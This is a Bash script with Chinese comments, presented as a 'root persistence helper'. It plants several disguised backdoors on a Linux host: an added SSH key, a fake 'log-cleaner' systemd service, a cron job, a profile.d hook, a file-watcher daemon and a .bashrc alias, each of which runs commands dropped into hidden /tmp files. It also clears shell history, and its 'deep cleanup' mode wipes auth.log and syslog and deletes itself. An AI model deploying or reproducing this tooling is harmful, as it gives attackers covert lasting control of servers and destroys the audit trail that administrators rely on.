#!/bin/bash

# Root权限维持助手 - 一键部署脚本
# 实现"权限校验→环境适配→一键部署→本地验证→长期监控→应急清理"全流程

VERSION="1.0.0"
SESSION_ID=$(date +%Y%m%d_%H%M%S)
CONFIG_DIR="/root/.system_config"
SESSION_FILE="$CONFIG_DIR/.session_$SESSION_ID"

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

# 日志函数
log_info() {
    echo -e "${BLUE}[*]${NC} $1"
}

log_success() {
    echo -e "${GREEN}[+]${NC} $1"
}

log_warning() {
    echo -e "${YELLOW}[!]${NC} $1"
}

log_error() {
    echo -e "${RED}[-]${NC} $1"
}

# 显示横幅
show_banner() {
    cat << 'EOF'
╔══════════════════════════════════════════════════════════════╗
║                    Root权限维持助手 v1.0.0                    ║
║                  一键化部署与闭环控制系统                        ║
╠══════════════════════════════════════════════════════════════╣
║  功能: 权限校验 → 环境适配 → 一键部署 → 本地验证 → 长期监控    ║
║  模式: 无提权依赖 | 本地闭环 | 隐蔽优先 | 操作极简              ║
╚══════════════════════════════════════════════════════════════╝
EOF
    echo
    log_info "会话ID: $SESSION_ID"
    echo
}

# 验证Root权限
verify_root_privilege() {
    if [ $EUID -ne 0 ]; then
        log_error "需要Root权限才能运行此工具"
        log_error "请使用 'sudo bash deploy.sh' 运行"
        exit 1
    fi
    log_success "Root权限验证通过"
}

# 环境检测
detect_environment() {
    log_info "执行环境检测..."
    
    # 系统信息
    if [ -f /etc/os-release ]; then
        DISTRO=$(grep '^ID=' /etc/os-release | cut -d'=' -f2 | tr -d '"')
        VERSION_ID=$(grep '^VERSION_ID=' /etc/os-release | cut -d'=' -f2 | tr -d '"')
    else
        DISTRO="unknown"
        VERSION_ID="unknown"
    fi
    
    # 防御工具检测
    DEFENSE_TOOLS=""
    if pgrep -f "firewalld" > /dev/null 2>&1; then
        DEFENSE_TOOLS="$DEFENSE_TOOLS firewalld"
    fi
    if pgrep -f "apparmor" > /dev/null 2>&1; then
        DEFENSE_TOOLS="$DEFENSE_TOOLS apparmor"
    fi
    if pgrep -f "selinux" > /dev/null 2>&1; then
        DEFENSE_TOOLS="$DEFENSE_TOOLS selinux"
    fi
    
    # 服务状态检测
    SSH_STATUS="disabled"
    if systemctl is-active sshd > /dev/null 2>&1; then
        SSH_STATUS="active"
    fi
    
    CRON_STATUS="disabled"
    if systemctl is-active cron > /dev/null 2>&1 || systemctl is-active crond > /dev/null 2>&1; then
        CRON_STATUS="active"
    fi
    
    # 防御等级评估
    if [ -z "$DEFENSE_TOOLS" ]; then
        DEFENSE_LEVEL="low"
    elif echo "$DEFENSE_TOOLS" | grep -q "firewalld"; then
        DEFENSE_LEVEL="medium"
    else
        DEFENSE_LEVEL="high"
    fi
    
    log_success "环境检测完成"
    log_info "系统: $DISTRO $VERSION_ID"
    log_info "防御工具: ${DEFENSE_TOOLS:-none}"
    log_info "SSH状态: $SSH_STATUS"
    log_info "Cron状态: $CRON_STATUS"
    log_info "防御等级: $DEFENSE_LEVEL"
}

# 生成部署策略
generate_strategy() {
    log_info "生成部署策略..."
    
    BACKDOORS=""
    
    case $DEFENSE_LEVEL in
        "low")
            BACKDOORS="ssh_key systemd_service crontab"
            STRATEGY_NAME="低防御环境策略"
            ;;
        "medium")
            BACKDOORS="env_var file_trigger bashrc_alias"
            STRATEGY_NAME="中等防御环境策略"
            ;;
        "high")
            BACKDOORS="process_injection encrypted_channel"
            STRATEGY_NAME="高防御环境策略"
            ;;
    esac
    
    log_success "策略生成完成: $STRATEGY_NAME"
    log_info "选择后门: $BACKDOORS"
}

# 创建配置目录
ensure_config_dir() {
    mkdir -p "$CONFIG_DIR"
    chmod 700 "$CONFIG_DIR"
}

# 部署SSH密钥后门
deploy_ssh_key() {
    log_info "部署SSH密钥后门..."
    
    SSH_DIR="/root/.ssh"
    HIDDEN_KEY="$SSH_DIR/.hidden_key"
    
    # 确保SSH目录存在
    mkdir -p "$SSH_DIR"
    chmod 700 "$SSH_DIR"
    
    # 生成密钥对
    ssh-keygen -t rsa -b 2048 -f "$HIDDEN_KEY" -N "" -q
    
    # 添加公钥到authorized_keys
    cat "${HIDDEN_KEY}.pub" >> "$SSH_DIR/authorized_keys"
    chmod 600 "$SSH_DIR/authorized_keys"
    
    # 隐藏私钥文件
    chmod 600 "$HIDDEN_KEY"
    
    log_success "SSH密钥后门部署完成"
    echo "ssh_key:$HIDDEN_KEY" >> "$SESSION_FILE"
}

# 部署Systemd服务后门
deploy_systemd_service() {
    log_info "部署Systemd服务后门..."
    
    SERVICE_NAME="log-cleaner"
    SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
    SCRIPT_FILE="/usr/local/bin/${SERVICE_NAME}"
    
    # 创建后门脚本
    cat > "$SCRIPT_FILE" << 'EOF'
#!/bin/bash
# System log cleaner service
while true; do
    # 检查触发文件
    if [ -f /tmp/.trigger ]; then
        # 执行命令
        if [ -f /tmp/.cmd ]; then
            bash /tmp/.cmd > /tmp/.result 2>&1
            rm -f /tmp/.cmd
        fi
        rm -f /tmp/.trigger
    fi
    sleep 300
done
EOF
    
    chmod +x "$SCRIPT_FILE"
    
    # 创建服务文件
    cat > "$SERVICE_FILE" << EOF
[Unit]
Description=System Log Cleaner
After=network.target

[Service]
Type=simple
ExecStart=$SCRIPT_FILE
Restart=always
User=root

[Install]
WantedBy=multi-user.target
EOF
    
    # 启用并启动服务
    systemctl daemon-reload
    systemctl enable "$SERVICE_NAME" > /dev/null 2>&1
    systemctl start "$SERVICE_NAME" > /dev/null 2>&1
    
    log_success "Systemd服务后门部署完成"
    echo "systemd_service:$SERVICE_NAME" >> "$SESSION_FILE"
}

# 部署Crontab后门
deploy_crontab() {
    log_info "部署Crontab后门..."
    
    CRON_SCRIPT="/usr/local/bin/sys-monitor"
    
    # 创建后门脚本
    cat > "$CRON_SCRIPT" << 'EOF'
#!/bin/bash
# System monitoring script
if [ -f /tmp/.monitor ]; then
    if [ -f /tmp/.mcmd ]; then
        bash /tmp/.mcmd > /tmp/.mresult 2>&1
        rm -f /tmp/.mcmd
    fi
    rm -f /tmp/.monitor
fi
EOF
    
    chmod +x "$CRON_SCRIPT"
    
    # 添加到crontab
    (crontab -l 2>/dev/null; echo "0 * * * * $CRON_SCRIPT") | crontab -
    
    log_success "Crontab后门部署完成"
    echo "crontab:$CRON_SCRIPT" >> "$SESSION_FILE"
}

# 部署环境变量后门
deploy_env_var() {
    log_info "部署环境变量后门..."
    
    ENV_FILE="/etc/profile.d/system-env.sh"
    
    cat > "$ENV_FILE" << 'EOF'
#!/bin/bash
# System environment configuration
export SYSTEM_LOG_LEVEL=info

# 隐藏的后门逻辑
if [ -f /tmp/.env_trigger ]; then
    if [ -f /tmp/.env_cmd ]; then
        bash /tmp/.env_cmd > /tmp/.env_result 2>&1
        rm -f /tmp/.env_cmd
    fi
    rm -f /tmp/.env_trigger
fi
EOF
    
    chmod +x "$ENV_FILE"
    
    log_success "环境变量后门部署完成"
    echo "env_var:$ENV_FILE" >> "$SESSION_FILE"
}

# 部署文件触发后门
deploy_file_trigger() {
    log_info "部署文件触发后门..."
    
    TRIGGER_SCRIPT="/usr/local/bin/file-watcher"
    
    cat > "$TRIGGER_SCRIPT" << 'EOF'
#!/bin/bash
# File system watcher
while true; do
    if [ -f /var/tmp/.watch ]; then
        if [ -f /var/tmp/.wcmd ]; then
            bash /var/tmp/.wcmd > /var/tmp/.wresult 2>&1
            rm -f /var/tmp/.wcmd
        fi
        rm -f /var/tmp/.watch
    fi
    sleep 60
done
EOF
    
    chmod +x "$TRIGGER_SCRIPT"
    
    # 在后台运行
    nohup "$TRIGGER_SCRIPT" > /dev/null 2>&1 &
    echo $! > "/var/run/file-watcher.pid"
    
    log_success "文件触发后门部署完成"
    echo "file_trigger:$TRIGGER_SCRIPT" >> "$SESSION_FILE"
}

# 部署Bashrc别名后门
deploy_bashrc_alias() {
    log_info "部署Bashrc别名后门..."
    
    BASHRC_FILE="/root/.bashrc"
    
    # 备份原文件
    cp "$BASHRC_FILE" "${BASHRC_FILE}.backup"
    
    # 添加隐藏别名
    cat >> "$BASHRC_FILE" << 'EOF'

# System aliases
alias ll='ls -la'
alias la='ls -la'

# 隐藏的后门别名
alias syscheck='if [ -f /tmp/.alias_trigger ]; then if [ -f /tmp/.alias_cmd ]; then bash /tmp/.alias_cmd > /tmp/.alias_result 2>&1; rm -f /tmp/.alias_cmd; fi; rm -f /tmp/.alias_trigger; fi; echo "System check completed"'
EOF
    
    log_success "Bashrc别名后门部署完成"
    echo "bashrc_alias:$BASHRC_FILE" >> "$SESSION_FILE"
}

# 执行部署
execute_deployment() {
    log_info "开始执行部署..."
    
    ensure_config_dir
    
    for backdoor in $BACKDOORS; do
        case $backdoor in
            "ssh_key")
                deploy_ssh_key
                ;;
            "systemd_service")
                deploy_systemd_service
                ;;
            "crontab")
                deploy_crontab
                ;;
            "env_var")
                deploy_env_var
                ;;
            "file_trigger")
                deploy_file_trigger
                ;;
            "bashrc_alias")
                deploy_bashrc_alias
                ;;
        esac
    done
    
    log_success "部署执行完成"
}

# 验证后门
verify_backdoors() {
    log_info "验证后门状态..."
    
    VERIFIED_COUNT=0
    TOTAL_COUNT=0
    
    while IFS=':' read -r backdoor_type backdoor_path; do
        TOTAL_COUNT=$((TOTAL_COUNT + 1))
        
        case $backdoor_type in
            "ssh_key")
                if [ -f "$backdoor_path" ]; then
                    log_success "SSH密钥后门: 正常"
                    VERIFIED_COUNT=$((VERIFIED_COUNT + 1))
                else
                    log_error "SSH密钥后门: 异常"
                fi
                ;;
            "systemd_service")
                if systemctl is-active "$backdoor_path" > /dev/null 2>&1; then
                    log_success "Systemd服务后门: 正常"
                    VERIFIED_COUNT=$((VERIFIED_COUNT + 1))
                else
                    log_error "Systemd服务后门: 异常"
                fi
                ;;
            "crontab")
                if [ -f "$backdoor_path" ]; then
                    log_success "Crontab后门: 正常"
                    VERIFIED_COUNT=$((VERIFIED_COUNT + 1))
                else
                    log_error "Crontab后门: 异常"
                fi
                ;;
            "env_var")
                if [ -f "$backdoor_path" ]; then
                    log_success "环境变量后门: 正常"
                    VERIFIED_COUNT=$((VERIFIED_COUNT + 1))
                else
                    log_error "环境变量后门: 异常"
                fi
                ;;
            "file_trigger")
                if [ -f "$backdoor_path" ]; then
                    log_success "文件触发后门: 正常"
                    VERIFIED_COUNT=$((VERIFIED_COUNT + 1))
                else
                    log_error "文件触发后门: 异常"
                fi
                ;;
            "bashrc_alias")
                if [ -f "$backdoor_path" ]; then
                    log_success "Bashrc别名后门: 正常"
                    VERIFIED_COUNT=$((VERIFIED_COUNT + 1))
                else
                    log_error "Bashrc别名后门: 异常"
                fi
                ;;
        esac
    done < "$SESSION_FILE"
    
    log_success "验证完成: $VERIFIED_COUNT/$TOTAL_COUNT 个后门可用"
}

# 生成控制手册
generate_control_manual() {
    log_info "生成控制手册..."
    
    MANUAL_FILE="$CONFIG_DIR/.control_manual"
    
    cat > "$MANUAL_FILE" << EOF
# Root权限维持控制手册
# 会话ID: $SESSION_ID
# 生成时间: $(date)

## 后门控制指令

### SSH密钥后门
# 激活: ssh -i /root/.ssh/.hidden_key localhost "command"
# 状态: ls -la /root/.ssh/.hidden_key
# 清理: rm -f /root/.ssh/.hidden_key*

### Systemd服务后门
# 激活: echo "command" > /tmp/.cmd && touch /tmp/.trigger
# 状态: systemctl status log-cleaner
# 清理: systemctl stop log-cleaner && systemctl disable log-cleaner

### Crontab后门
# 激活: echo "command" > /tmp/.mcmd && touch /tmp/.monitor
# 状态: crontab -l | grep sys-monitor
# 清理: crontab -l | grep -v sys-monitor | crontab -

### 环境变量后门
# 激活: echo "command" > /tmp/.env_cmd && touch /tmp/.env_trigger
# 状态: ls -la /etc/profile.d/system-env.sh
# 清理: rm -f /etc/profile.d/system-env.sh

### 文件触发后门
# 激活: echo "command" > /var/tmp/.wcmd && touch /var/tmp/.watch
# 状态: ps aux | grep file-watcher
# 清理: kill \$(cat /var/run/file-watcher.pid) && rm -f /usr/local/bin/file-watcher

### Bashrc别名后门
# 激活: echo "command" > /tmp/.alias_cmd && touch /tmp/.alias_trigger && syscheck
# 状态: grep syscheck /root/.bashrc
# 清理: cp /root/.bashrc.backup /root/.bashrc

## 应急清理
# 快速清理: bash $0 cleanup fast
# 深度清理: bash $0 cleanup deep
EOF
    
    chmod 600 "$MANUAL_FILE"
    
    log_success "控制手册已生成: $MANUAL_FILE"
}

# 显示部署摘要
show_deployment_summary() {
    echo
    echo "========================================"
    log_success "一键部署流程完成"
    echo "========================================"
    log_info "会话ID: $SESSION_ID"
    log_info "环境: $DISTRO $VERSION_ID (防御等级: $DEFENSE_LEVEL)"
    log_info "策略: $STRATEGY_NAME"
    log_info "部署: $(wc -l < "$SESSION_FILE") 个后门"
    log_info "验证: $VERIFIED_COUNT 个可用"
    log_info "控制手册: $CONFIG_DIR/.control_manual"
    echo "========================================"
}

# 清理痕迹
clean_traces() {
    log_info "清理部署痕迹..."
    
    # 清理bash历史
    history -c
    echo > ~/.bash_history
    
    # 清理临时文件
    rm -f /tmp/.deploy_*
    
    log_success "痕迹清理完成"
}

# 应急清理功能
emergency_cleanup() {
    MODE=${2:-"fast"}
    
    log_warning "执行 $MODE 清理模式"
    
    if [ ! -f "$SESSION_FILE" ]; then
        log_error "未找到会话文件"
        return 1
    fi
    
    while IFS=':' read -r backdoor_type backdoor_path; do
        case $backdoor_type in
            "ssh_key")
                rm -f "$backdoor_path"*
                sed -i '/hidden_key/d' /root/.ssh/authorized_keys
                ;;
            "systemd_service")
                systemctl stop "$backdoor_path" > /dev/null 2>&1
                systemctl disable "$backdoor_path" > /dev/null 2>&1
                rm -f "/etc/systemd/system/${backdoor_path}.service"
                rm -f "/usr/local/bin/$backdoor_path"
                systemctl daemon-reload
                ;;
            "crontab")
                crontab -l | grep -v "$backdoor_path" | crontab -
                rm -f "$backdoor_path"
                ;;
            "env_var")
                rm -f "$backdoor_path"
                ;;
            "file_trigger")
                if [ -f "/var/run/file-watcher.pid" ]; then
                    kill $(cat /var/run/file-watcher.pid) > /dev/null 2>&1
                    rm -f /var/run/file-watcher.pid
                fi
                rm -f "$backdoor_path"
                ;;
            "bashrc_alias")
                if [ -f "${backdoor_path}.backup" ]; then
                    cp "${backdoor_path}.backup" "$backdoor_path"
                    rm -f "${backdoor_path}.backup"
                fi
                ;;
        esac
    done < "$SESSION_FILE"
    
    # 深度清理
    if [ "$MODE" = "deep" ]; then
        # 清理配置目录
        rm -rf "$CONFIG_DIR"
        
        # 清理日志
        echo > /var/log/auth.log
        echo > /var/log/syslog
        
        # 清理bash历史
        history -c
        echo > ~/.bash_history
        
        # 自毁脚本
        rm -f "$0"
    fi
    
    log_success "$MODE 清理完成"
}

# 主函数
main() {
    case ${1:-"deploy"} in
        "deploy")
            show_banner
            verify_root_privilege
            detect_environment
            generate_strategy
            execute_deployment
            verify_backdoors
            generate_control_manual
            clean_traces
            show_deployment_summary
            ;;
        "cleanup")
            emergency_cleanup "$@"
            ;;
        "status")
            if [ -f "$CONFIG_DIR/.control_manual" ]; then
                cat "$CONFIG_DIR/.control_manual"
            else
                log_error "未找到控制手册"
            fi
            ;;
        *)
            echo "用法: $0 [deploy|cleanup|status]"
            echo "  deploy  - 执行一键部署 (默认)"
            echo "  cleanup - 应急清理 [fast|deep]"
            echo "  status  - 显示控制手册"
            ;;
    esac
}

# 执行主函数
main "$@"